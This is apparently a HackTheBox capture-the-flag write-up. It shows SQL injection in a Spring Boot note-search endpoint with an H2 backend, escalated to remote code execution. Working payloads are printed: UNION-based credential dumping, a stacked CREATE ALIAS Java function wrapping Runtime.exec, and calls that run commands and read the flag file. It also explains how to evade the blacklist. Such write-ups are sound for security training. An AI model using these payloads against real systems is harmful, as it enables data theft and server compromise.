Note
The /note search concatenates the name into a native query (filtering only '$' and 'concat'). It's an H2 database, so beyond UNION SELECT you can stack 'CREATE ALIAS ... AS '<java>'' to define a Java UDF wrapping Runtime.exec, then UNION SELECT that function to run commands and read the randomly-named flag.
Pentest Notes — H2 SQL injection → CREATE ALIAS UDF RCE
Platform: HackTheBox · Category: Web (server-side) · Stack: Spring Boot + H2 database
Challenge overview
The note-search endpoint builds a native SQL query by string-formatting the name parameter, with
only a token blacklist:
if (name.contains("$") || name.toLowerCase().contains("concat"))
return ResponseEntity.status(403).body("Bad character in name :)");
String query = String.format("Select * from notes where name ='%s' ", name);
entityManager.createNativeQuery(query).getResultList();
Classic injection. ORDER BY shows 3 columns, and information_schema.tables confirms data
exfil works:
/api/note?name=SQL Injection' UNION SELECT NULL,NULL,NULL-- -
/api/note?name=SQL Injection' UNION SELECT id,username,password FROM users-- -
There's no hidden user/flag in the DB though — the flag is a randomly-named file on disk. The backend is H2, which famously allows defining Java functions from SQL.
RCE via CREATE ALIAS
H2 lets you register a Java method as a SQL function with CREATE ALIAS. Stack a statement that defines
a UDF wrapping Runtime.getRuntime().exec:
SQL Injection'; CREATE ALIAS IF NOT EXISTS PWN AS
'String p(String cmd) throws Exception {
Process p = java.lang.Runtime.getRuntime().exec(cmd);
java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}'; --
(Send it URL-encoded / via Burp; note the \\A delimiter slurps all stdout.) Then call the alias through
the UNION so its output lands in a visible column:
SQL Injection' UNION ALL SELECT 1, 'x', PWN('id') -- -
SQL Injection' UNION ALL SELECT 1, 'x', PWN('cat ../JN8fe3XRqTYK_flag.txt') -- -
Flag: HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}
Takeaways (generalized techniques)
- H2 SQLi escalates straight to RCE via
CREATE ALIAS(Java source UDF) orCREATE TRIGGER— you don't need the DB to contain the flag, you make the DB runRuntime.exec. Same idea as PostgresCOPY ... PROGRAMor MySQLINTO OUTFILE+ UDF, but H2 ships a pure-Java code path. - Token blacklists (
$,concat) are not sanitization. They don't stopUNION, stacked statements (;), orCREATE ALIAS; build the Java UDF using onlyjava.lang.Runtimeandjava.util.Scannerso banned substrings never appear. String.formatinto a native query = injection regardless of the ORM around it —createNativeQueryruns exactly the string you give it.
Sources & references
- Challenge source:
hackthebox/web/pentest_notes - H2 RCE chain reference: https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2